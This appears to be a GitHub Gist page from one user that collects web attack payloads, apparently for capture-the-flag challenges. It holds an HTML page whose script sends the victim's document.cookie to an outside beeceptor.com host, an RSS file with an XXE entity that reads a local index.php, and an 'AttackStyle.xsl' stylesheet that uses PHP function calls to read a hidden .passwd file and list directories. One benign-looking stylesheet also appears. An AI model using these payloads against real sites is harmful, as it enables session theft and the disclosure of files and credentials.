Skip to content

Instantly share code, notes, and snippets.

<html>
<body>
you have been powned
</body>
<script>new Image().src="https://testtheclim.free.beeceptor.com/fakepg.php?output="+document.cookie;</script>
</html>
@roumy
roumy / rss.xml
Last active November 3, 2019 10:45
xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY payload SYSTEM 'file://./index.php'> ]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<atom:link rel="self" href="https://www.ladepeche.fr/rss.xml" type="application/rss+xml"/>
<title>Actualités et infos de Toulouse et sa région - À la une</title>
<description>Toute l’actualité de Toulouse et sa région en direct, photos et vidéos avec La Dépêche du Midi. Retrouvez toutes les informations locales de la région Occitanie : faits divers, politique, sports, économie, loisirs… mais également le point sur les événements nationaux et internationaux sur le site Ladepeche.fr</description>
<lastBuildDate>Sun, 03 Nov 2019 10:11:40 +0100</lastBuildDate>
<link>https://www.ladepeche.fr/</link>
<language>fr</language>
@roumy
roumy / back.xsl
Created November 2, 2019 20:21
back
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:17pt;background-color:#EEEEEE">
<xsl:for-each select="beers/beer">
<div style="background-color:teal;color:red;padding:4px">
<span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
<xsl:value-of select="price"/>
</div>
<div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
<p>
@roumy
roumy / MyStyle.xsl
Last active November 2, 2019 21:40
AttackStyle.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','./.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
<xsl:value-of select="php:function('opendir','.')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>